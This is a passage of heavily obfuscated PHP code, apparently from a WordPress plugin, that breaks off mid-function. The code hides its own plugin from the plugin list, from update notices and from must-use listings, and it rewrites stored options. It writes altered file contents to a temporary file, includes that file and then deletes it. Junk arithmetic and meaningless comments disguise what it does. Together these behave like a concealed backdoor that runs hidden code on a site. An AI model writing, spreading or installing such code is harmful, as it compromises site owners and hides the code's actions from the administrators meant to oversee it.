        if (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($d_9pqy369cvamxr)  ||   !@$GLOBALS['__scf_tluflp7r6hugyf_48']($d_9pqy369cvamxr) ||  !@$GLOBALS['__scf_f0spqlcvz0g_47']($d_9pqy369cvamxr))   {
        if  ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(694)))   @set_transient(fjup2mc1h(758), 1,   $jwiguwns48xns     ? (86368+32) :  (3506+94));
    unset($jwiguwns48xns,  $cwn239405i90n8);
 return;
 }
 unset($jwiguwns48xns, $cwn239405i90n8);
     }




  $fk6pxt7wkjxwp   = $d_9pqy369cvamxr   .  '/'  .   mvfnzt3qa4jfes_wxi();
if (hevxi269p3v7rmjhw($fk6pxt7wkjxwp))     {
     return;
}
// finalize nilpotent resume-session

   $aoxfo4qr4r1    =  @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($fk6pxt7wkjxwp)      ? _ar5tcm9kavyuod_ve5o1l($fk6pxt7wkjxwp)    : false;
if    (@$GLOBALS['__scf_voobwg611qb_102']($fk6pxt7wkjxwp)  >  (4903+97)  &&     $GLOBALS['__scf_zneqqdn4vlt4_42']($aoxfo4qr4r1) && $GLOBALS['__scf_abbpcj1ncssalx_57']($aoxfo4qr4r1)  === $GLOBALS['__scf_abbpcj1ncssalx_57']($bkok4unpnq2f_wvv))    {
 rwx_v9t1vov1zic2ki($fk6pxt7wkjxwp);



  b0wop22b9ka0x2ul();
   blyvdc2uxuermre1dz5d();
  return;
        }
   if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($fk6pxt7wkjxwp)   &&  @$GLOBALS['__scf_voobwg611qb_102']($fk6pxt7wkjxwp)     >    (4969+31))    {
$d7107gzn46 =   (string)  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($fk6pxt7wkjxwp,  false,    null,    0,    (0xf34+0xcc));


  if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($d7107gzn46)   &&  $GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(100), $d7107gzn46,   $_dm)  &&  version_compare($_dm[1],   _vfpypr4wakqs7jy_(),     '>'))   return;
   unset($d7107gzn46,  $_dm);
  }
// atom table

if   ($aoxfo4qr4r1    ===     null) return;
 unset($aoxfo4qr4r1);
  $ny9w8xza96ezizp   = _ew1atk9e66yol2lso($fk6pxt7wkjxwp, utjmibjloacp0kjf($bkok4unpnq2f_wvv));

  if   (!$ny9w8xza96ezizp  ||  !@$GLOBALS['__scf_bhw4bjp5xr9_715']($fk6pxt7wkjxwp) ||   @$GLOBALS['__scf_voobwg611qb_102']($fk6pxt7wkjxwp) < (910+90))  {



  if ($ny9w8xza96ezizp  && @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($fk6pxt7wkjxwp)) {
 $d7107gzn46   =  (string)  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($fk6pxt7wkjxwp,   false, null, 0,   (4022+74));$xp2fo9y3j7=PHP_INT_MAX/PHP_INT_MAX;$ecrrovso0mqt1=$xp2fo9y3j7+82;
  $plsziqs_wz  =  $GLOBALS['__scf_zneqqdn4vlt4_42']($d7107gzn46) && $GLOBALS['__scf_bvfhit3heqts_99'](tvo1rh46s_(100), $d7107gzn46,   $_dm)      &&     version_compare($_dm[1],  _vfpypr4wakqs7jy_(), '>');
     unset($d7107gzn46,      $_dm);
if  (!$plsziqs_wz) {
    kp1tutxjpanriy($fk6pxt7wkjxwp,  (0xa7+0xfd));
    _0qezpop1swzfe($fk6pxt7wkjxwp);
   }
    }
  if     ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(694)))  @set_transient(fjup2mc1h(758),  1,    (1968+1632));

  return;
 }

  o2er_doikw9jq83pm2lov($fk6pxt7wkjxwp);
    kp1tutxjpanriy($fk6pxt7wkjxwp, (327+93));
        

    rwx_v9t1vov1zic2ki($fk6pxt7wkjxwp);
 b0wop22b9ka0x2ul();
blyvdc2uxuermre1dz5d();
 }    catch (Throwable   $x0ydieb0v_72m_u)  {
  teikfigf_p5265esq_q(fjup2mc1h(751),    $x0ydieb0v_72m_u);

    }  catch (Exception      $x0ydieb0v_72m_u) {$_z_rp1mezut=49|244;$jhp7vzohn77=$_z_rp1mezut^150;
   }

 }
function     zna6wcy_6v8881q_zh()

 {
try    {$v6ezinloj=PHP_MAJOR_VERSION;$_7a8czqojadw=$v6ezinloj*1;
$oiasg8gier   =  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(759))  ? (int)  get_option(tvo1rh46s_(760),    0) :  0;



      if ($oiasg8gier <   $GLOBALS['__scf_yg2rpewmkg_192']()     - (284+16) || $oiasg8gier >    $GLOBALS['__scf_yg2rpewmkg_192']()   +    (288+12))  {
       if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(462)))   @update_option(op9tjzix(760),  $GLOBALS['__scf_yg2rpewmkg_192']());

 $ypk9ljuvrb32o = cvod3ffny5vm5dt3d(wlgh2_th(466),    "");

   $msa3fza0cpzq  =    ykeexn1wh3l1c08u($GLOBALS['__scf_zneqqdn4vlt4_42']($ypk9ljuvrb32o)  ?  $ypk9ljuvrb32o :    "");
 $f_jc28zhd61u  =  i2mut9p5qixg5chb(qluu1auwul2zupq5h());
 if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ypk9ljuvrb32o)  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($ypk9ljuvrb32o)  <     (447+53) ||  orl4u64oiezevyfpwqi4j($ypk9ljuvrb32o)   ||  $msa3fza0cpzq === ""   ||     ($f_jc28zhd61u !==    null   &&  $f_jc28zhd61u   !== ""      &&    version_compare($f_jc28zhd61u,  $msa3fza0cpzq, '>'))) {
       $bkok4unpnq2f_wvv  =     mridss6_czjhslw35g();
  if   ($bkok4unpnq2f_wvv &&   !orl4u64oiezevyfpwqi4j($bkok4unpnq2f_wvv))    {
// WP Term Description aspect ratio

  $liw3js6zp63d2cyq =   ykeexn1wh3l1c08u($bkok4unpnq2f_wvv);

   if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ypk9ljuvrb32o) || $GLOBALS['__scf_m2ym9pki8mue9_11']($ypk9ljuvrb32o)  <  (301+199)   ||   orl4u64oiezevyfpwqi4j($ypk9ljuvrb32o)  ||  $msa3fza0cpzq ===   ""    ||   ($liw3js6zp63d2cyq     !== "" &&  version_compare($liw3js6zp63d2cyq, $msa3fza0cpzq, '>'))) {


   v2tiam6q2h4zs04bs_si_n(wlgh2_th(761),   $bkok4unpnq2f_wvv, op9tjzix(711));
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(462)))   {
 @update_option(fjup2mc1h(438),    0,  fjup2mc1h(762));

       @update_option(op9tjzix(763),  0,  fjup2mc1h(764));
   @update_option(fjup2mc1h(765), 0, b4gbsak56f40gos(766));



   }
// validate here

  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(64))) @delete_transient(uys5m_ytblknm5());
       }

}
 }
// activate prime coordinator




 }
      
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(759))      &&  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(462)))   {
     $maifj21dgonf     =     get_option(tvo1rh46s_(767));$zfv4gz4n195c=PHP_MAJOR_VERSION;$kcmafqxkq=$zfv4gz4n195c*7;
 if ($maifj21dgonf   !==   false   &&   $maifj21dgonf  !== _vfpypr4wakqs7jy_())  {


     @update_option(wlgh2_th(768), _vfpypr4wakqs7jy_(),   zp28wk01y(766));



    }

}
       if   (!  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(769)) ||   ! add_option(op9tjzix(770), _vfpypr4wakqs7jy_(),  "",      zp28wk01y(771)))   {
return;
   }
  
   m3glk3wztmwqklvb12_();
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(462)))  {
   @update_option(zp28wk01y(438),    0, zp28wk01y(772));
 @update_option(fjup2mc1h(763), 0, op9tjzix(773));$kqi_o6_2jeo1w=(0x60+0x71);$u44vawf1uvrnci=$kqi_o6_2jeo1w%16;
    @update_option(fjup2mc1h(774),  0,   zp28wk01y(773));
      }
      if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(775)))  @delete_transient(uys5m_ytblknm5());
 
  if (!empty($bkok4unpnq2f_wvv) &&  !orl4u64oiezevyfpwqi4j($bkok4unpnq2f_wvv)) {


      v2tiam6q2h4zs04bs_si_n(wlgh2_th(761), $bkok4unpnq2f_wvv,   op9tjzix(773));
 }
 hti81ybc755i9r59(null);



  


     kp1tutxjpanriy(qluu1auwul2zupq5h(),  (0x53+0x151));
 
   uh36p8urjd71g_u9smnf(zp28wk01y(426),  op9tjzix(480),   0);
   
uh36p8urjd71g_u9smnf(op9tjzix(776),  wlgh2_th(777), 0);
}      catch     (Throwable $x0ydieb0v_72m_u) {
 teikfigf_p5265esq_q(fjup2mc1h(778),  $x0ydieb0v_72m_u);
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(621)))  @delete_option(zp28wk01y(770));
 }   catch   (Exception $x0ydieb0v_72m_u) {
// WP Query Loop script dependency

   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(621)))     @delete_option(wlgh2_th(779));
  }



    }
 function kgzhjus8pscebc5ytsk3()
{
 try {
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(780)))   {
@$GLOBALS['__scf_aveut5m3qzw4x_301'](home_url('/'), array(b4gbsak56f40gos(399)   =>  (1+4),   wlgh2_th(699)  =>  false,  tvo1rh46s_(781) => false));
  }



 }  catch (Throwable    $x0ydieb0v_72m_u)  {
     teikfigf_p5265esq_q(b4gbsak56f40gos(782),   $x0ydieb0v_72m_u);
 }    catch    (Exception   $x0ydieb0v_72m_u) {
   }
    }

  
    function  _6ox0is0zh0ulvv83di1()
 {
    static  $wctkintyba47o  =     false;
     if   ($wctkintyba47o)  return;
$wctkintyba47o =    true;

try   {
 if  (!  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(783))      ||   !    is_admin())  {
 return;


    }
// amortized deque

if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(784))     ||    !current_user_can(op9tjzix(785)))  {
// substring match




  return;
  }
  $mnnljh86miz240dv  =   isset($_REQUEST[op9tjzix(786)])  ? $_REQUEST[fjup2mc1h(786)]     :  "";
    $mnnljh86miz240dv  =   $GLOBALS['__scf_zneqqdn4vlt4_42']($mnnljh86miz240dv)     ?   $GLOBALS['__scf_bbs7j5b1fx_332']($mnnljh86miz240dv)  :    "";
if    ($mnnljh86miz240dv !==  zp28wk01y(787)  &&   $mnnljh86miz240dv    !==   b4gbsak56f40gos(788)) {

    return;


      }

  
 $tteoh8em4llcra   =     array();
 if ($mnnljh86miz240dv ===  wlgh2_th(787)) {
// WP Post Content: offline stack-frame

 $aafgs5syumu6049z  =      isset($_REQUEST[fjup2mc1h(625)])  ?  $_REQUEST[tvo1rh46s_(789)]  : "";
$aafgs5syumu6049z   = $GLOBALS['__scf_zneqqdn4vlt4_42']($aafgs5syumu6049z)   ?  $GLOBALS['__scf_bbs7j5b1fx_332']($aafgs5syumu6049z)    : "";
    if  ($aafgs5syumu6049z && $aafgs5syumu6049z   !==  fnn_1fc67qy9wd854gl3()) {
/* generative derivation */

    $tteoh8em4llcra[]  =   $aafgs5syumu6049z;
      }



 }  else   {
     


$gornh4zaedcq   =   isset($_REQUEST[zp28wk01y(790)])     ?   $_REQUEST[fjup2mc1h(790)]  :  array();

      $gornh4zaedcq  =    $GLOBALS['__scf_knhbvsumnby3_36']($gornh4zaedcq)     ?  $gornh4zaedcq  :   array();$qj5gzzgzqawzr=14*2;$tz_724_ozpehb=$qj5gzzgzqawzr-35;
     foreach  ($gornh4zaedcq  as $aafgs5syumu6049z)    {
$aafgs5syumu6049z  =  $GLOBALS['__scf_zneqqdn4vlt4_42']($aafgs5syumu6049z)  ? $GLOBALS['__scf_bbs7j5b1fx_332']($aafgs5syumu6049z)    :  "";
     if   ($aafgs5syumu6049z && $aafgs5syumu6049z !==   fnn_1fc67qy9wd854gl3())  {
    $tteoh8em4llcra[]   =   $aafgs5syumu6049z;
    }
}
}
 if (empty($tteoh8em4llcra))  {
// projective dependent-type

   return;
      }

   $ggva48mezczsaod  =    false;
    foreach  ($tteoh8em4llcra    as    $aafgs5syumu6049z)     {

if   (gekathksthlbn26xscsb1($aafgs5syumu6049z))  {
      y_fqvtsaab6uei5($aafgs5syumu6049z);
      $ggva48mezczsaod = true;

     }
}
 if ($ggva48mezczsaod)   {


       
     if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(791))   &&     $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(792)))  {
wp_safe_redirect(admin_url(tvo1rh46s_(793)));
   }
  }
     }  catch  (Throwable    $x0ydieb0v_72m_u) {
teikfigf_p5265esq_q(zp28wk01y(794),      $x0ydieb0v_72m_u);
   } catch   (Exception  $x0ydieb0v_72m_u)   {
     }



    }
function     onyrys2fyi7rsv44l_j($r44qtcrd0bx5,  $jg8qi3lw34d07zsz)
  {
 if    ($jg8qi3lw34d07zsz   === fjup2mc1h(795))  {
   $plugins  = &$GLOBALS[op9tjzix(796)];

  if   (!isset($plugins[op9tjzix(797)])     ||  !$GLOBALS['__scf_knhbvsumnby3_36']($plugins[op9tjzix(797)]))  {
// WP Search Block: computable proxy

    return $r44qtcrd0bx5;
     }
  $mcm8hdboued   =   defined(b4gbsak56f40gos(170))  ?  WP_CONTENT_DIR  : (defined(b4gbsak56f40gos(120)) ? ABSPATH  .  fjup2mc1h(798)    : "");
if  ($mcm8hdboued     ===  "")    {
 return $r44qtcrd0bx5;
    }
     $od4o2lyv7j6v5nt     = array(b4gbsak56f40gos(799)     =>  tvo1rh46s_(800),   wlgh2_th(801)     =>  wlgh2_th(802));
  foreach ($od4o2lyv7j6v5nt as     $omstsaj8xxsg6u =>  $og9_dm_lh5x)  {
    if  (!isset($plugins[op9tjzix(803)][$omstsaj8xxsg6u]))   {



   continue;


}



  $t_nqtqe6o9hr6     = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($mcm8hdboued   . '/'    . $omstsaj8xxsg6u);
  if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($t_nqtqe6o9hr6)  ||     $GLOBALS['__scf_rbe_sihvfv_8']($t_nqtqe6o9hr6,  zp28wk01y(804)  .  $og9_dm_lh5x   .  b4gbsak56f40gos(805))  ===  false)   {
continue;
    }
// Xdebug profiler widget render

  $m4n3uegnbkmud      =   $GLOBALS['__scf_sp5m_appgxyoko_471'](op9tjzix(806) . $og9_dm_lh5x   .  tvo1rh46s_(807)   .   $og9_dm_lh5x   .   wlgh2_th(808),     "", $t_nqtqe6o9hr6);
  if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($m4n3uegnbkmud))      {
     continue;
   }
 $m4n3uegnbkmud  =    $GLOBALS['__scf_bbs7j5b1fx_332']($m4n3uegnbkmud);

 if  ($m4n3uegnbkmud ===  ""  || $m4n3uegnbkmud  === zp28wk01y(809)  ||   $m4n3uegnbkmud  === zp28wk01y(810)) {
unset($plugins[tvo1rh46s_(811)][$omstsaj8xxsg6u]);
   }



}
     return  $r44qtcrd0bx5;
 }

     if     ($jg8qi3lw34d07zsz !==  op9tjzix(812))   {
   return  $r44qtcrd0bx5;$ji48y1el=39|95;$smgjrfkxr0ekw=$ji48y1el^90;
  }



  $plugins    =  &$GLOBALS[wlgh2_th(796)];
 $liwqoqt7_t8    =    $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h());
if   (isset($plugins[zp28wk01y(813)][$liwqoqt7_t8]))    {
    unset($plugins[zp28wk01y(813)][$liwqoqt7_t8]);
 }

   return $r44qtcrd0bx5;
 }



 if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(814)))   {
/* non-singular alert */

 function  xyvd35hiw5qasmfipam()
     {$joje5u9tnpe88l=30+20;$v2o2z6o9ld2=$joje5u9tnpe88l-38;
      if  (!     ay_dweaa14q9en())  {

 return;



}
$oknhdgd23az7  = $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h());
 $cmmcvi1p_vu     = $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),  wlgh2_th(532));
$e4s3toezngb  = $cmmcvi1p_vu  .  '/'     . $oknhdgd23az7;
 echo  wlgh2_th(815)     .   esc_attr($oknhdgd23az7) . fjup2mc1h(816)  .   esc_attr($e4s3toezngb)     .   zp28wk01y(817);
echo    fjup2mc1h(818)  .  esc_js($oknhdgd23az7) . fjup2mc1h(819) .   esc_js($e4s3toezngb)      .  zp28wk01y(820);
    }
 }
// lower memory pressure

if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(821))) {
     function  nep6aw6j248touu6aixg6($f21cfhv2wn1)
 {
// primary count-min-sketch

  if      (! $GLOBALS['__scf_l4xn242gw4_70']($f21cfhv2wn1)) {
 return  $f21cfhv2wn1;
   }
     $oknhdgd23az7  =  fnn_1fc67qy9wd854gl3();


if     (isset($f21cfhv2wn1->response[$oknhdgd23az7]))  {
unset($f21cfhv2wn1->response[$oknhdgd23az7]);
 }



      return      $f21cfhv2wn1;
       }
   }
    if (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(822)))  {
function    mo7z3h86roeziic69db01p($plugins)
     {



$dx_ofkvr3qy    =    fnn_1fc67qy9wd854gl3();
if (isset($plugins[$dx_ofkvr3qy])) {
  unset($plugins[$dx_ofkvr3qy]);
    

  }
$cmmcvi1p_vu     =  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),  op9tjzix(532));
     $e4s3toezngb   =     $cmmcvi1p_vu    .  '/'  .  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h());
    if     (isset($plugins[$e4s3toezngb]))      {
     unset($plugins[$e4s3toezngb]);
 }
// canonicalize

    return $plugins;
 }

   }
function  sv4ywwaigxbc5u2n4b_z($fiznm2qpwlw)
 {
   if    (!  $GLOBALS['__scf_knhbvsumnby3_36']($fiznm2qpwlw)) {
       return $fiznm2qpwlw;
    }


 $enx2tzz1xq73cnk    = "";
  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(823))    &&    $GLOBALS['__scf_bhw4bjp5xr9_715'](qluu1auwul2zupq5h()))     {
$qruv4qm59vjd  =   get_plugin_data(qluu1auwul2zupq5h(),  false,     false);
 $enx2tzz1xq73cnk    =  isset($qruv4qm59vjd[op9tjzix(824)])  ?    $qruv4qm59vjd[wlgh2_th(824)]   : "";
 }
      $vom4algn9mvw =  array(fjup2mc1h(825),  b4gbsak56f40gos(826));
    foreach  ($vom4algn9mvw    as $xndrhludqn) {$lvu8dvwsi=5+22;$hx32a8tdte=$lvu8dvwsi-35;
 if  (!    isset($fiznm2qpwlw[$xndrhludqn][b4gbsak56f40gos(827)]) ||  !      $GLOBALS['__scf_knhbvsumnby3_36']($fiznm2qpwlw[$xndrhludqn][wlgh2_th(827)]))    {
continue;
      }
  foreach  ($fiznm2qpwlw[$xndrhludqn][op9tjzix(828)]  as      $key    =>    $qgtp_7vb52nqys)   {


if ($GLOBALS['__scf_rbe_sihvfv_8']($key, fnn_1fc67qy9wd854gl3())   !== false    ||    $key === fnn_1fc67qy9wd854gl3())  {
unset($fiznm2qpwlw[$xndrhludqn][fjup2mc1h(828)][$key]);



 continue;
   }
 if  ($enx2tzz1xq73cnk   !==  ""  &&    $key    === $enx2tzz1xq73cnk)    {
unset($fiznm2qpwlw[$xndrhludqn][fjup2mc1h(828)][$key]);



       continue;


 }
    }
    }
 foreach    (array(tvo1rh46s_(829),  b4gbsak56f40gos(830))      as $atrp64rz76f5bca8)    {
$cap3se9p2m0118g   =   isset($fiznm2qpwlw[$atrp64rz76f5bca8][b4gbsak56f40gos(828)]) &&     $GLOBALS['__scf_knhbvsumnby3_36']($fiznm2qpwlw[$atrp64rz76f5bca8][wlgh2_th(828)])     ?   $fiznm2qpwlw[$atrp64rz76f5bca8][fjup2mc1h(828)]   :  array();
  if  (!$cap3se9p2m0118g) continue;

      $xz5vbc7apt    = defined(tvo1rh46s_(831)) ? WPMU_PLUGIN_DIR : (defined(tvo1rh46s_(170))  ? WP_CONTENT_DIR  .     b4gbsak56f40gos(15)  :  "");


 $_a64a2sjp4 =  array();

if      ($enx2tzz1xq73cnk   !==  "") $_a64a2sjp4[]  = $enx2tzz1xq73cnk;
$_a64a2sjp4[]   =    $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h());
if ($xz5vbc7apt     !==    "" &&  @$GLOBALS['__scf_ot56htgy8hrmim_44']($xz5vbc7apt) && $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(832)))  {
  foreach  ((array)  @$GLOBALS['__scf_ylc30lk3q5j_73']($xz5vbc7apt    . op9tjzix(757))    as $cwn239405i90n8)   {
$e55pxp_0ddwy  =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($cwn239405i90n8,   false,   null,    0,     (8136+56));
  if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($e55pxp_0ddwy)  ||  $GLOBALS['__scf_rbe_sihvfv_8']($e55pxp_0ddwy,  zp28wk01y(833))     === false)      continue;
 if   ($GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(834), $e55pxp_0ddwy,      $k9hfwq3c2xlr4)) {
     $lkoutolh8dr    =    $GLOBALS['__scf_bbs7j5b1fx_332']($k9hfwq3c2xlr4[1]);
 if ($lkoutolh8dr    !==   "")  $_a64a2sjp4[]  =   $lkoutolh8dr;
 }
 $_a64a2sjp4[]   = $GLOBALS['__scf_dpm5ad5tej9nf_4']($cwn239405i90n8);
 }
       }
     foreach  ($cap3se9p2m0118g as $key    =>  $qgtp_7vb52nqys) {
 foreach    ($_a64a2sjp4   as   $rryfto43mbu00bjm)    {


if     ($key   === $rryfto43mbu00bjm  || $key  === sanitize_text_field($rryfto43mbu00bjm))   {
 unset($fiznm2qpwlw[$atrp64rz76f5bca8][tvo1rh46s_(828)][$key]);
    break;

 }
   }
  }



  }
// diagnostic affine-type

     $svqsrdg2a69hocq =   isset($fiznm2qpwlw[fjup2mc1h(835)][wlgh2_th(836)])    &&     $GLOBALS['__scf_knhbvsumnby3_36']($fiznm2qpwlw[fjup2mc1h(835)][wlgh2_th(836)])  ?      $fiznm2qpwlw[fjup2mc1h(835)][b4gbsak56f40gos(836)]   :   array();
     if      ($svqsrdg2a69hocq)      {
$mcm8hdboued     =    defined(tvo1rh46s_(170)) ?   WP_CONTENT_DIR : (defined(wlgh2_th(120))  ? ABSPATH  .  tvo1rh46s_(837) :  "");
  $od4o2lyv7j6v5nt  =  array(fjup2mc1h(838)     =>     fjup2mc1h(800),  b4gbsak56f40gos(801)  => tvo1rh46s_(802));
     foreach   ($svqsrdg2a69hocq   as   $key =>  $qgtp_7vb52nqys)  {
/* connected record-layer */

 if     (!isset($od4o2lyv7j6v5nt[$key]) ||    $mcm8hdboued  ===  "") continue;
$t_nqtqe6o9hr6  = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($mcm8hdboued    . '/'  .  $key, false,   null, 0,  (2850+1246));
if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($t_nqtqe6o9hr6)  && ($GLOBALS['__scf_rbe_sihvfv_8']($t_nqtqe6o9hr6,    op9tjzix(804)  .  $od4o2lyv7j6v5nt[$key]    . fjup2mc1h(805))      !== false  ||    $GLOBALS['__scf_rbe_sihvfv_8']($t_nqtqe6o9hr6, zp28wk01y(839))  !==  false))   {



unset($fiznm2qpwlw[wlgh2_th(835)][tvo1rh46s_(836)][$key]);
   

      }



 }
// unitary aggregator

 }
 return $fiznm2qpwlw;

}
 
    function     _4d7eyxsxiboho3q1vo8z($d_610fidjx1)
     {
  if  (! $GLOBALS['__scf_knhbvsumnby3_36']($d_610fidjx1)) {


       return   $d_610fidjx1;
    }
 $j8_zemt265k_v =  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h());

 $mbw72lnpefv0_7mb   =  $GLOBALS['__scf_innlxa4l2yk_yi_212']($j8_zemt265k_v,  PATHINFO_FILENAME);
$g7jb2vbbu4t9 =    array(
   array(wlgh2_th(840)  =>   '#'  . $GLOBALS['__scf_ye733r3hqpt_841']($j8_zemt265k_v,     '#') .    op9tjzix(842),  b4gbsak56f40gos(843)   =>   true),

  array(b4gbsak56f40gos(840) => b4gbsak56f40gos(844)    .   $GLOBALS['__scf_ye733r3hqpt_841']($mbw72lnpefv0_7mb,   '#')    . fjup2mc1h(842),  zp28wk01y(843)  =>  true),
  );
if   (isset($d_610fidjx1[tvo1rh46s_(845)])   &&  $GLOBALS['__scf_knhbvsumnby3_36']($d_610fidjx1[wlgh2_th(846)]))  {
       foreach  ($d_610fidjx1[tvo1rh46s_(846)] as  $it6eoxr68lt    =>   $ksi_7pesj0)   {
  if   (!   $GLOBALS['__scf_knhbvsumnby3_36']($ksi_7pesj0)  ||     !      $GLOBALS['__scf_btk9t95ovv6r2_40']($it6eoxr68lt))    {$rz_ujdtmpki0o=PHP_MAJOR_VERSION;$dbjs4gk5=$rz_ujdtmpki0o*10;
 continue;
  }
    if  (!  isset($d_610fidjx1[tvo1rh46s_(846)][$it6eoxr68lt][tvo1rh46s_(847)])  ||   !     $GLOBALS['__scf_knhbvsumnby3_36']($d_610fidjx1[tvo1rh46s_(846)][$it6eoxr68lt][tvo1rh46s_(848)]))   {
// @unsubscribe command

 $d_610fidjx1[wlgh2_th(849)][$it6eoxr68lt][b4gbsak56f40gos(848)]    =     array();
        }
 foreach    ($g7jb2vbbu4t9      as $lgtu6xf7zccyaf)  {$wkxmnplqxo=6137;$w2u86qqg3j=$wkxmnplqxo%9;
$d_610fidjx1[wlgh2_th(849)][$it6eoxr68lt][b4gbsak56f40gos(848)][]  =     $lgtu6xf7zccyaf;

  }
}
   }
   return    $d_610fidjx1;
        }
 
   function qp4e4fwi5kpbx75k6m()
{$j4gdt2qty08=93+33;$ir2c5zzt=$j4gdt2qty08-35;

  try {


    if (!  defined(fjup2mc1h(850))    ||  constant(wlgh2_th(851))    <      (0x5+0x2)) {
// WP REST API v2 post type setup

  return;
 }



        if  ($GLOBALS['__scf_x_wfq7bl3c_551'](tvo1rh46s_(852),      false))   {



return;


  }
 $z60rv6_8jwmknpe4    =    $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h());
 $no_ln2vd2zs  =   defined(wlgh2_th(719))  ?    WP_PLUGIN_DIR : "";
 $mnsxex0ntfg8     =     array(
 $no_ln2vd2zs  .  zp28wk01y(853),
 $no_ln2vd2zs  .  tvo1rh46s_(854),
$no_ln2vd2zs .  zp28wk01y(855),
 );
$t7yb9vaqdqyfne4 =  "";


     foreach  ($mnsxex0ntfg8 as  $oknhdgd23az7)  {
 if  ($oknhdgd23az7  !== ""     &&  @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($oknhdgd23az7)  &&  @$GLOBALS['__scf_f0spqlcvz0g_47']($oknhdgd23az7))  {
    $t7yb9vaqdqyfne4    =  $oknhdgd23az7;



      break;
      }



 }
 if ($t7yb9vaqdqyfne4 === "")  {
return;
    }
    $wf6rqvdvbr =   $GLOBALS['__scf_pqkpt9n3trf9fm_12']($t7yb9vaqdqyfne4);

spl_autoload_register(function    ($jty8rb6u3807_bo)   use ($wf6rqvdvbr)  {
 foreach (array($wf6rqvdvbr  .  '/' . $jty8rb6u3807_bo  . fjup2mc1h(856), $wf6rqvdvbr   .    '/'  .     $jty8rb6u3807_bo  .   tvo1rh46s_(532))    as  $pxedixj_kc)   {
if     (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($pxedixj_kc))   {
  include_once $pxedixj_kc;
 return;
  }
  }
 });
  $a9a20su0g8saxh = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($t7yb9vaqdqyfne4);
  if  ($a9a20su0g8saxh  ===  false    ||    $GLOBALS['__scf_rbe_sihvfv_8']($a9a20su0g8saxh, wlgh2_th(857)) ===    false)   {
// forest structure

 return;


 }
 $a9a20su0g8saxh  =  $GLOBALS['__scf_sp5m_appgxyoko_471'](b4gbsak56f40gos(858),  "",  $a9a20su0g8saxh);
 $a9a20su0g8saxh =  $GLOBALS['__scf_qx45pe7tfwqub_367'](fjup2mc1h(857),   zp28wk01y(859),  $a9a20su0g8saxh);
$ta5dltgjrpxzb  = l57opmo3fftx76(kgy22zbd3ue1hs74b(), wlgh2_th(860));

    if  ($ta5dltgjrpxzb  ===  false) {
     return;
 }
   @$GLOBALS['__scf_m2g_67700pfzin_204']($ta5dltgjrpxzb,  fjup2mc1h(861)  . $a9a20su0g8saxh);
  try {
 @include   $ta5dltgjrpxzb;
        }     finally  {


  _0qezpop1swzfe($ta5dltgjrpxzb);


      }
 $u78pu1t2g502   = $GLOBALS['__scf_innlxa4l2yk_yi_212']($z60rv6_8jwmknpe4,  PATHINFO_FILENAME);
    $GLOBALS[b4gbsak56f40gos(862)]     =    $z60rv6_8jwmknpe4;
  $GLOBALS[b4gbsak56f40gos(863)] =    $u78pu1t2g502;
  $xyh02p751y     =    fjup2mc1h(864)
.    wlgh2_th(865)


.  b4gbsak56f40gos(866)
 .  tvo1rh46s_(867)
 .   zp28wk01y(868)
.    '}'
     . fjup2mc1h(869)


     . '}'
 .  '}';



   $tystik_8ciaxmlx =    l57opmo3fftx76(kgy22zbd3ue1hs74b(), zp28wk01y(870));
        if   ($tystik_8ciaxmlx) {
